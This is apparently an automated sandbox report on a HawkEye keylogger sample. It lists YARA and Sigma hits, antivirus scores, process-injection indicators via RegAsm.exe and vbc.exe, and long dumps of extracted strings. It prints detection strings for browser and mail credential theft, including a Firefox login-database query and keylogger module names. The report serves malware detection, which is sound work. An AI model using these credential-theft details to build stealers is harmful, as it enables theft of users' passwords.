19.0.vbc.exe.400000.4.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x147b0:$a1: logins.json 0x14710:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x14f34:$s4: \mozsqlite3.dll 0x137a4:$s5: SMTP Password
19.0.vbc.exe.400000.4.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.0.vbc.exe.400000.4.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.RegAsm.exe.6df1c10.4.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x11bb0:$a1: logins.json 0x11b10:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x12334:$s4: \mozsqlite3.dll 0x115a4:$s5: SMTP Password
1.2.RegAsm.exe.6df1c10.4.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.6df1c10.4.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x131b0:$a1: logins.json 0x13110:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x13934:$s4: \mozsqlite3.dll 0x121a4:$s5: SMTP Password
1.2.RegAsm.exe.6df1c10.4.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
3.0.vbc.exe.400000.2.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.3.RegAsm.exe.4a438ed.1.raw.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x6b1b5:$a1: logins.json 0x6b115:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x6b939:$s4: \mozsqlite3.dll 0x6a1a9:$s5: SMTP Password
1.3.RegAsm.exe.4a438ed.1.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.3.RegAsm.exe.4a438ed.1.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.3.RegAsm.exe.4a438ed.1.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.0.RegAsm.exe.400000.1.unpack	MAL_HawkEye_Keylogger_Gen_Dec18	Detects HawkEye Keylogger Reborn	Florian Roth	0x87c2e:$s1: HawkEye Keylogger 0x87c97:$s1: HawkEye Keylogger 0x81071:$s2: _ScreenshotLogger 0x8103e:$s3: _PasswordStealer
1.0.RegAsm.exe.400000.1.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x87601:$name: ConfuserEx 0x8630e:$compile: AssemblyTitle
1.0.RegAsm.exe.400000.1.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.0.RegAsm.exe.400000.1.unpack	HawkEyev9	HawkEye v9 Payload	ditekshen	0x87c2e:$id1: HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \ {2} 0x87c97:$id2: HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \ {3}{0}{0}{4} 0x8103e:$str1: _PasswordStealer 0x8104f:$str2: _KeyStrokeLogger 0x81071:$str3: _ScreenshotLogger 0x81060:$str4: _ClipboardLogger 0x81083:$str5: _WebCamLogger 0x81198:$str6: _AntiVirusKiller 0x81186:$str7: _ProcessElevation 0x8114d:$str8: _DisableCommandPrompt 0x81253:$str9: _WebsiteBlocker 0x81263:$str9: _WebsiteBlocker 0x81139:$str10: _DisableTaskManager 0x811b4:$str11: _AntiDebugger 0x8123e:$str12: _WebsiteVisitorSites 0x81163:$str13: _DisableRegEdit 0x811c2:$str14: _ExecutionDelay 0x810e7:$str15: _InstallStartupPersistance
1.2.RegAsm.exe.6d55bd0.5.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
3.0.vbc.exe.400000.0.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
3.0.vbc.exe.400000.1.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.RegAsm.exe.51d0000.2.unpack	APT_NK_BabyShark_KimJoingRAT_Apr19_1	Detects BabyShark KimJongRAT	Florian Roth	0x696fa:$a1: logins.json 0x6965a:$s3: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login 0x69e7e:$s4: \mozsqlite3.dll 0x686ee:$s5: SMTP Password
1.2.RegAsm.exe.51d0000.2.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.RegAsm.exe.51d0000.2.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Click to see the 83 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe" , ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, ParentProcessId: 4720, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 5908

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe" , ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, ParentProcessId: 4720, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 5908

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Virustotal: Detection: 69%			Perma Link
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	ReversingLabs: Detection: 77%

Antivirus / Scanner detection for submitted sample

Show sources

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Show sources

Source: https://a.pomf.cat/

Virustotal: Detection: 7%

Perma Link

Source: 1.0.RegAsm.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 1.2.RegAsm.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 1.0.RegAsm.exe.400000.1.unpack	Avira: Label: TR/Dropper.Gen

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source:	Binary string: c:\Projects\VS2005\WebBrowserPassView\Command-Line\WebBrowserPassView.pdb source: RegAsm.exe, 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp
Source:	Binary string: c:\Projects\VS2005\mailpv\Command-Line\mailpv.pdb source: RegAsm.exe, 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, RegAsm.exe, 00000001.00000002.518219732.00000000033CE000.00000004.00000001.sdmp, vbc.exe, vbc.exe, 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0040938F FindFirstFileW,FindNextFileW,wcslen,wcslen,	3_2_0040938F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00408CAC FindFirstFileW,FindNextFileW,FindClose,	3_2_00408CAC
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_0040702D FindFirstFileA,FindNextFileA,strlen,strlen,	19_2_0040702D

Source: RegAsm.exe, 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: @dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: RegAsm.exe, 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: @dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: vbc.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: vbc.exe, 00000003.00000003.272406112.0000000002276000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.272930128.0000000002276000.00000004.00000001.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token&nonce=5cc75168-41b2-44e1-97be-a6965c7dcef4&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fnosignin&scope=openid&response_mode=form_post&msafed=0&prompt=none&state=%7b%22ig%22%3a%2241C163740D104A3C92254F8DC4EFA2A6%22%7dhttps://login.microsoftonline.com/common/oauth2/authorizehttp://go.microsoft.com/fwlink/?LinkId=838604http://go.microsoft.com/fwlink/http://go.microsoft.com/fwlink/p/?LinkId=255141http://go.microsoft.com/fwlink/p/https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=160&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=5&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1https://contextual.media.net/medianet.phphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=125&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=3&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://www.bing.com/search?q=chrome&src=IE-SearchBox&FORM=IESR4A&pc=EUPP_https://www.bing.com/searchhttps://www.bing.com/orgid/idtoken/nosigninhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttp://www.msn.com/?ocid=iehphttp://www.msn.com/http://
Source: vbc.exe, 00000003.00000003.272406112.0000000002276000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.272930128.0000000002276000.00000004.00000001.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token&nonce=5cc75168-41b2-44e1-97be-a6965c7dcef4&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fnosignin&scope=openid&response_mode=form_post&msafed=0&prompt=none&state=%7b%22ig%22%3a%2241C163740D104A3C92254F8DC4EFA2A6%22%7dhttps://login.microsoftonline.com/common/oauth2/authorizehttp://go.microsoft.com/fwlink/?LinkId=838604http://go.microsoft.com/fwlink/http://go.microsoft.com/fwlink/p/?LinkId=255141http://go.microsoft.com/fwlink/p/https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=160&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=5&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1https://contextual.media.net/medianet.phphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=125&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=3&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://www.bing.com/search?q=chrome&src=IE-SearchBox&FORM=IESR4A&pc=EUPP_https://www.bing.com/searchhttps://www.bing.com/orgid/idtoken/nosigninhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttp://www.msn.com/?ocid=iehphttp://www.msn.com/http://
Source: vbc.exe, 00000003.00000003.272466094.0000000002276000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.272267700.0000000002276000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.272428649.0000000002276000.00000004.00000001.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token&nonce=5cc75168-41b2-44e1-97be-a6965c7dcef4&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fnosignin&scope=openid&response_mode=form_post&msafed=0&prompt=none&state=%7b%22ig%22%3a%2241C163740D104A3C92254F8DC4EFA2A6%22%7dhttps://login.microsoftonline.com/common/oauth2/authorizehttp://go.microsoft.com/fwlink/?LinkId=838604http://go.microsoft.com/fwlink/http://go.microsoft.com/fwlink/p/?LinkId=255141http://go.microsoft.com/fwlink/p/https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=160&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=5&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1https://contextual.media.net/medianet.phphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=125&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=3&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://www.bing.com/search?q=chrome&src=IE-SearchBox&FORM=IESR4A&pc=EUPP_https://www.bing.com/searchhttps://www.bing.com/orgid/idtoken/nosigninhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttp://www.msn.com/?ocid=iehphttp://www.msn.com/http://
Source: vbc.exe, 00000003.00000003.272466094.0000000002276000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.272267700.0000000002276000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.272428649.0000000002276000.00000004.00000001.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token&nonce=5cc75168-41b2-44e1-97be-a6965c7dcef4&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fnosignin&scope=openid&response_mode=form_post&msafed=0&prompt=none&state=%7b%22ig%22%3a%2241C163740D104A3C92254F8DC4EFA2A6%22%7dhttps://login.microsoftonline.com/common/oauth2/authorizehttp://go.microsoft.com/fwlink/?LinkId=838604http://go.microsoft.com/fwlink/http://go.microsoft.com/fwlink/p/?LinkId=255141http://go.microsoft.com/fwlink/p/https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=160&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=5&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1https://contextual.media.net/medianet.phphttps://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=125&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C184%2C188%2C226&rtime=3&https=1&usp_status=0&usp_consent=1&dcfp=gdpr,usphttps://www.bing.com/search?q=chrome&src=IE-SearchBox&FORM=IESR4A&pc=EUPP_https://www.bing.com/searchhttps://www.bing.com/orgid/idtoken/nosigninhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852188168;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fthank-you.html%3Fstatcb%3D0%26installdataindex%3Dempty%26defaultbrowser%3D0https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttps://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2F?https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;gtm=2wg9g1;~oref=https%3A%2F%2Fwww.google.com%2Fchrome%2Fhttp://www.msn.com/?ocid=iehphttp://www.msn.com/http://

Source: RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	String found in binary or memory: http://bot.whatismyipaddress.com/
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertECCSecureServerCA.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2ExtendedValidationServerCA.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSecureSiteECCCA-1.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cookies.onetrust.mgr.consensu.org/?name=euconsent&value=&expire=0&isFirstRequest=true
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://cookies.onetrust.mgr.consensu.org/onetrust-logo.svg
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl.globalsign.com/root.crl0V
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl.pki.goog/GTSGIAG3.crl0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl.pki.goog/gsr2/gsr2.crl0?
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertSecureSiteECCCA-1.crl0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
